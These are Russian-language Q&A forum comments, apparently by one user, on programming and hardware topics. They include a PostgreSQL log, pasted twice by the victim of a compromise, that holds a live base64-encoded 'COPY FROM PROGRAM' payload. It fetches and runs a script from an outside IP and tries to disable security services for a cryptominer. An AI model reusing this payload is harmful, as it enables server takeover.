Как исправить проблему?

Алексей, насколько я понимаю, это хедеры запроса. А куда именно их вводить — зависит от контекста.

Как организовать удалённый файлообмен на Python?

Рамис, и оно так же работает с копированием файлов с одного удалённого хранилища на другое?

Как организовать удалённый файлообмен на Python?

Спасибо большое! Меня прежде всего интересует, КАК отправлять файлы на второе хранилище.

Как составить SQL запрос типа "Клиент - первое подключение"?

select userid, min(conndate)
from users
group by userid
order by min(conndate);

Не знаю, это или не это вы имели в виду, но оно работает! Спасибо!!!
PS. Убрал distinct. Ибо нафига, если есть group by.

Как добиться работы PostgreSQL с ботом Telegram?

galaxy, администрирую не я. По рекомендации админа, поменял пасс к серверу (уже сказал об этом) и перекрыл доступ к базе с внешних ресурсов.

Как добиться работы PostgreSQL с ботом Telegram?

galaxy, упс... А что с этим делать? Я поменял пароль от рута на сервере. Я так понимаю, нужно ещё поменять пасс пользователя postgres?

Как добиться работы PostgreSQL с ботом Telegram?

Дмитрий Шицков, Вот фрагмент лога.

spoiler

2021-09-21 04:46:54.148 UTC [5888] LOG:  starting PostgreSQL 12.8 (Ubuntu 12.8-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, 64-bit
2021-09-21 04:46:54.151 UTC [5888] LOG:  listening on IPv4 address "0.0.0.0", port 5432
2021-09-21 04:46:54.153 UTC [5888] LOG:  listening on IPv6 address "::", port 5432
2021-09-21 04:46:54.154 UTC [5888] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
2021-09-21 04:46:54.180 UTC [5889] LOG:  database system was shut down at 2021-09-20 13:15:29 UTC
2021-09-21 04:46:54.188 UTC [5888] LOG:  database system is ready to accept connections
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0rm: cannot remove '/var/log/syslog': Permission denied
chattr: Permission denied while setting flags on /tmp/
chattr: Permission denied while setting flags on /var/tmp/
chattr: Permission denied while setting flags on /var/spool/cron
chattr: Permission denied while setting flags on /etc/crontab

100 32110  100 32110    0     0   188k      0 --:--:-- --:--:-- --:--:--  188k
ERROR: You need to be root to run this script
Fatal: can't open lock file /run/xtables.lock: Permission denied
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
bash: line 12: /proc/sys/kernel/nmi_watchdog: Permission denied
bash: line 13: /etc/sysctl.conf: Permission denied
userdel: user 'akay' does not exist
userdel: user 'vfinder' does not exist
chattr: Permission denied while trying to stat /root/.ssh/
chattr: Permission denied while trying to stat /root/.ssh/authorized_keys
bash: line 37: netstat: command not found
bash: line 38: netstat: command not found
bash: line 42: netstat: command not found
bash: line 43: netstat: command not found
bash: line 44: netstat: command not found
bash: line 45: netstat: command not found
bash: line 46: netstat: command not found
bash: line 47: netstat: command not found
bash: line 48: netstat: command not found
bash: line 49: netstat: command not found
bash: line 50: netstat: command not found
bash: line 51: netstat: command not found
bash: line 52: netstat: command not found
bash: line 53: netstat: command not found
bash: line 54: netstat: command not found
bash: line 55: netstat: command not found
bash: line 56: netstat: command not found
bash: line 57: netstat: command not found
cat: /tmp/.X11-unix/01: No such file or directory
cat: /tmp/.X11-unix/11: No such file or directory
cat: /tmp/.X11-unix/22: No such file or directory
cat: /tmp/.pg_stat.0: No such file or directory
cat: /tmp/.pg_stat.1: No such file or directory
cat: /data/./oka.pid: No such file or directory
2021-09-21 05:46:40.800 UTC [5888] LOG:  received smart shutdown request
2021-09-21 05:46:40.808 UTC [5888] LOG:  background worker "logical replication launcher" (PID 5895) exited with exit code 1
pkill: killing pid 1425852 failed: Operation not permitted
pkill: killing pid 3469691 failed: Operation not permitted
grep: Trailing backslash
kill: (16): Operation not permitted
kill: (14849): No such process
kill: (14854): No such process
bash: line 218: netstat: command not found
bash: line 219: netstat: command not found
bash: line 220: netstat: command not found
bash: line 221: netstat: command not found
bash: line 222: netstat: command not found
Failed to stop c3pool_miner.service: Interactive authentication required.
See system logs and 'systemctl status c3pool_miner.service' for details.
pkill: killing pid 20838 failed: Operation not permitted
pkill: killing pid 20838 failed: Operation not permitted
log_rot: no process found
chattr: No such file or directory while trying to stat /etc/ld.so.preload
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.3': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.3': No such file or directory
rm: cannot remove '/var/tmp/lib': No such file or directory
rm: cannot remove '/var/tmp/.lib': No such file or directory
chattr: No such file or directory while trying to stat /tmp/lok
chmod: cannot access '/tmp/lok': No such file or directory
bash: line 525: docker: command not found
bash: line 526: docker: command not found
bash: line 527: docker: command not found
bash: line 528: docker: command not found
bash: line 529: docker: command not found
bash: line 530: docker: command not found
bash: line 531: docker: command not found
bash: line 532: docker: command not found
bash: line 533: docker: command not found
bash: line 534: docker: command not found
bash: line 535: docker: command not found
bash: line 536: docker: command not found
bash: line 537: docker: command not found
bash: line 538: docker: command not found
bash: line 539: docker: command not found
bash: line 540: docker: command not found
bash: line 541: docker: command not found
bash: line 542: docker: command not found
bash: line 543: docker: command not found
bash: line 544: docker: command not found
bash: line 545: docker: command not found
bash: line 546: docker: command not found
bash: line 547: setenforce: command not found
bash: line 548: /etc/selinux/config: Permission denied
Failed to stop apparmor.service: Interactive authentication required.
See system logs and 'systemctl status apparmor.service' for details.
Synchronizing state of apparmor.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable apparmor
Failed to reload daemon: Interactive authentication required.
update-rc.d: error: Permission denied
Failed to stop aliyun.service.service: Interactive authentication required.
See system logs and 'systemctl status aliyun.service.service' for details.
Failed to disable unit: Interactive authentication required.
/tmp/kinsing is 648effa354b3cbaad87b45f48d59c616
2021-09-21 05:46:46.876 UTC [13947] postgres@postgres FATAL:  terminating connection due to administrator command
2021-09-21 05:46:46.876 UTC [13947] postgres@postgres CONTEXT:  COPY dhnwrrdl, line 1: "/tmp/kinsing exists"
2021-09-21 05:46:46.876 UTC [13947] postgres@postgres STATEMENT:  DROP TABLE IF EXISTS dHNwRrdl;CREATE TABLE dHNwRrdl(cmd_output text);COPY dHNwRrdl FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDE5NC4zOC4yMC4xOTkvcGcuc2h8YmFzaAplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIHdnZXQgLXEgLU8tIDE5NC4zOC4yMC4xOTkvcGcuc2h8YmFzaAplbHNlCiAgX19jdXJsIGh0dHA6Ly8xOTQuMzguMjAuMTk5L3BnMi5zaHxiYXNoCmZp|base64 -d|bash';SELECT * FROM dHNwRrdl;DROP TABLE IF EXISTS dHNwRrdl;
2021-09-21 05:46:46.888 UTC [5890] LOG:  shutting down
2021-09-21 05:46:46.916 UTC [5888] LOG:  database system is shut down

Как добиться работы PostgreSQL с ботом Telegram?

Вот фрагмент лога.

spoiler

2021-09-21 04:46:54.148 UTC [5888] LOG:  starting PostgreSQL 12.8 (Ubuntu 12.8-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, 64-bit
2021-09-21 04:46:54.151 UTC [5888] LOG:  listening on IPv4 address "0.0.0.0", port 5432
2021-09-21 04:46:54.153 UTC [5888] LOG:  listening on IPv6 address "::", port 5432
2021-09-21 04:46:54.154 UTC [5888] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
2021-09-21 04:46:54.180 UTC [5889] LOG:  database system was shut down at 2021-09-20 13:15:29 UTC
2021-09-21 04:46:54.188 UTC [5888] LOG:  database system is ready to accept connections
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0rm: cannot remove '/var/log/syslog': Permission denied
chattr: Permission denied while setting flags on /tmp/
chattr: Permission denied while setting flags on /var/tmp/
chattr: Permission denied while setting flags on /var/spool/cron
chattr: Permission denied while setting flags on /etc/crontab

100 32110  100 32110    0     0   188k      0 --:--:-- --:--:-- --:--:--  188k
ERROR: You need to be root to run this script
Fatal: can't open lock file /run/xtables.lock: Permission denied
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
bash: line 12: /proc/sys/kernel/nmi_watchdog: Permission denied
bash: line 13: /etc/sysctl.conf: Permission denied
userdel: user 'akay' does not exist
userdel: user 'vfinder' does not exist
chattr: Permission denied while trying to stat /root/.ssh/
chattr: Permission denied while trying to stat /root/.ssh/authorized_keys
bash: line 37: netstat: command not found
bash: line 38: netstat: command not found
bash: line 42: netstat: command not found
bash: line 43: netstat: command not found
bash: line 44: netstat: command not found
bash: line 45: netstat: command not found
bash: line 46: netstat: command not found
bash: line 47: netstat: command not found
bash: line 48: netstat: command not found
bash: line 49: netstat: command not found
bash: line 50: netstat: command not found
bash: line 51: netstat: command not found
bash: line 52: netstat: command not found
bash: line 53: netstat: command not found
bash: line 54: netstat: command not found
bash: line 55: netstat: command not found
bash: line 56: netstat: command not found
bash: line 57: netstat: command not found
cat: /tmp/.X11-unix/01: No such file or directory
cat: /tmp/.X11-unix/11: No such file or directory
cat: /tmp/.X11-unix/22: No such file or directory
cat: /tmp/.pg_stat.0: No such file or directory
cat: /tmp/.pg_stat.1: No such file or directory
cat: /data/./oka.pid: No such file or directory
2021-09-21 05:46:40.800 UTC [5888] LOG:  received smart shutdown request
2021-09-21 05:46:40.808 UTC [5888] LOG:  background worker "logical replication launcher" (PID 5895) exited with exit code 1
pkill: killing pid 1425852 failed: Operation not permitted
pkill: killing pid 3469691 failed: Operation not permitted
grep: Trailing backslash
kill: (16): Operation not permitted
kill: (14849): No such process
kill: (14854): No such process
bash: line 218: netstat: command not found
bash: line 219: netstat: command not found
bash: line 220: netstat: command not found
bash: line 221: netstat: command not found
bash: line 222: netstat: command not found
Failed to stop c3pool_miner.service: Interactive authentication required.
See system logs and 'systemctl status c3pool_miner.service' for details.
pkill: killing pid 20838 failed: Operation not permitted
pkill: killing pid 20838 failed: Operation not permitted
log_rot: no process found
chattr: No such file or directory while trying to stat /etc/ld.so.preload
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/1.sh.3': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.1': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.2': No such file or directory
rm: cannot remove '/opt/atlassian/confluence/bin/3.sh.3': No such file or directory
rm: cannot remove '/var/tmp/lib': No such file or directory
rm: cannot remove '/var/tmp/.lib': No such file or directory
chattr: No such file or directory while trying to stat /tmp/lok
chmod: cannot access '/tmp/lok': No such file or directory
bash: line 525: docker: command not found
bash: line 526: docker: command not found
bash: line 527: docker: command not found
bash: line 528: docker: command not found
bash: line 529: docker: command not found
bash: line 530: docker: command not found
bash: line 531: docker: command not found
bash: line 532: docker: command not found
bash: line 533: docker: command not found
bash: line 534: docker: command not found
bash: line 535: docker: command not found
bash: line 536: docker: command not found
bash: line 537: docker: command not found
bash: line 538: docker: command not found
bash: line 539: docker: command not found
bash: line 540: docker: command not found
bash: line 541: docker: command not found
bash: line 542: docker: command not found
bash: line 543: docker: command not found
bash: line 544: docker: command not found
bash: line 545: docker: command not found
bash: line 546: docker: command not found
bash: line 547: setenforce: command not found
bash: line 548: /etc/selinux/config: Permission denied
Failed to stop apparmor.service: Interactive authentication required.
See system logs and 'systemctl status apparmor.service' for details.
Synchronizing state of apparmor.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable apparmor
Failed to reload daemon: Interactive authentication required.
update-rc.d: error: Permission denied
Failed to stop aliyun.service.service: Interactive authentication required.
See system logs and 'systemctl status aliyun.service.service' for details.
Failed to disable unit: Interactive authentication required.
/tmp/kinsing is 648effa354b3cbaad87b45f48d59c616
2021-09-21 05:46:46.876 UTC [13947] postgres@postgres FATAL:  terminating connection due to administrator command
2021-09-21 05:46:46.876 UTC [13947] postgres@postgres CONTEXT:  COPY dhnwrrdl, line 1: "/tmp/kinsing exists"
2021-09-21 05:46:46.876 UTC [13947] postgres@postgres STATEMENT:  DROP TABLE IF EXISTS dHNwRrdl;CREATE TABLE dHNwRrdl(cmd_output text);COPY dHNwRrdl FROM PROGRAM 'echo IyEvYmluL2Jhc2gKcGtpbGwgLWYgenN2Ywpwa2lsbCAtZiBwZGVmZW5kZXJkCnBraWxsIC1mIHVwZGF0ZWNoZWNrZXJkCgpmdW5jdGlvbiBfX2N1cmwoKSB7CiAgcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQogIERPQz0vJHtwYXRoLy8gLy99CiAgSE9TVD0ke3NlcnZlci8vOip9CiAgUE9SVD0ke3NlcnZlci8vKjp9CiAgW1sgeCIke0hPU1R9IiA9PSB4IiR7UE9SVH0iIF1dICYmIFBPUlQ9ODAKCiAgZXhlYyAzPD4vZGV2L3RjcC8ke0hPU1R9LyRQT1JUCiAgZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKICAod2hpbGUgcmVhZCBsaW5lOyBkbwogICBbWyAiJGxpbmUiID09ICQnXHInIF1dICYmIGJyZWFrCiAgZG9uZSAmJiBjYXQpIDwmMwogIGV4ZWMgMz4mLQp9CgppZiBbIC14ICIkKGNvbW1hbmQgLXYgY3VybCkiIF07IHRoZW4KICBjdXJsIDE5NC4zOC4yMC4xOTkvcGcuc2h8YmFzaAplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgogIHdnZXQgLXEgLU8tIDE5NC4zOC4yMC4xOTkvcGcuc2h8YmFzaAplbHNlCiAgX19jdXJsIGh0dHA6Ly8xOTQuMzguMjAuMTk5L3BnMi5zaHxiYXNoCmZp|base64 -d|bash';SELECT * FROM dHNwRrdl;DROP TABLE IF EXISTS dHNwRrdl;
2021-09-21 05:46:46.888 UTC [5890] LOG:  shutting down
2021-09-21 05:46:46.916 UTC [5888] LOG:  database system is shut down

Что делать с комиссией в pyqiwi?

Не по теме: а где и зачем сейчас используется QIWI? Раньше это была сеть платёжных терминалов, принимающих наличные для оплаты мобильной связи и других целей с комиссией. Сейчас на смартфонах куча приложений, позволяющих делать аналогичные платежи без комиссии.
Это просто пользовательский интерес, не более того.

Есть ли военные кафедры с информатикой?

МИИГАиК попробуй. Там учебный военный центр хороший.

Почему тормозят старые игры, купленные в Steam, на ноуте с интегрированной видеокартой?

Юрий, ноут — подарок на Новый год от супруги, тестя и тёщи. :)

Почему тормозят старые игры, купленные в Steam, на ноуте с интегрированной видеокартой?

15432,
CPU: Pentium II or Duron.
CPU SPEED: 300 MHz.
RAM: 64 MB.
OS: Windows 95/98.
VIDEO CARD: GeForce2 or Radeon 7500.
SOUND CARD: Yes.
FREE DISK SPACE: 150 MB.
DEDICATED VIDEO RAM: 16 MB.
Вот системные требования к игре.
Наверное, дело и впрямь в режиме совместимости.

Почему тормозят старые игры, купленные в Steam, на ноуте с интегрированной видеокартой?

Дмитрий, вот ТТХ текущего ноута:

Processor: 1x Intel Core i3-1005G1 Processor(Core i3-1005G1)
Memory: 1x 8GB DDR4 3200
Operating System: Windows 10 Home 64(RU:Russian)
Hard Drive: 1x 256GB PCIe NVMe
Wireless Network: 1x Bluetooth Version 5.0 or above
Ports: 1x 1 Type C (USB 3.2 Gen 2 + DP 1.2 + PD 3.0)
Camera: 1x
Graphics: 1x
Monitor: 15.6 FHD

Характеристик старого не помню. Помню, что была старая Toshiba.

Почему тормозят старые игры, купленные в Steam, на ноуте с интегрированной видеокартой?

profesor08, запускается, но жутко фризит. Если на меня бежит много террористов, то игра превращается в слайд-шоу.

Почему тормозят старые игры, купленные в Steam, на ноуте с интегрированной видеокартой?

profesor08, если верить диспетчеру устройств, то в ноуте есть только один видеоадаптер. Встроенный.

Как можно организовать систему оповещения пользователей?

Спасибо за рекомендацию! Наверное, надо будет как раз копать в сторону SIP-звонков.
По поводу мессенджеров. Телега, AFAIK, звонить не умеет. Но из трёх наиболее распространённых мессенджеров только Телега имеет открытое API.

Как можно организовать систему оповещения пользователей?

Клиент, для которого я это хочу сделать, утверждает, что разовые сообщения сотрудник может проигнонировать. А от звонка не отвяжется.
Знать, у него есть опыт...

Как можно организовать систему оповещения пользователей?

Лентюй, так я и ищу IT решение. Некоторое программное решение, которое лезет в календарь, смотрит задачи и обзванивает исполнителей.
Меня как раз интересует личный опыт пользователей ресурса. Возможно, кто-то уже работал или работает с API каких-то сервисов для звонков.

Телеграм ботов лучше писать на Python, PHP или Node.js?

Что знаете, на том и пишите.

Как можно организовать систему оповещения пользователей?

Лентюй, производство. В подробности вдаваться не буду.
И да, реально нужно.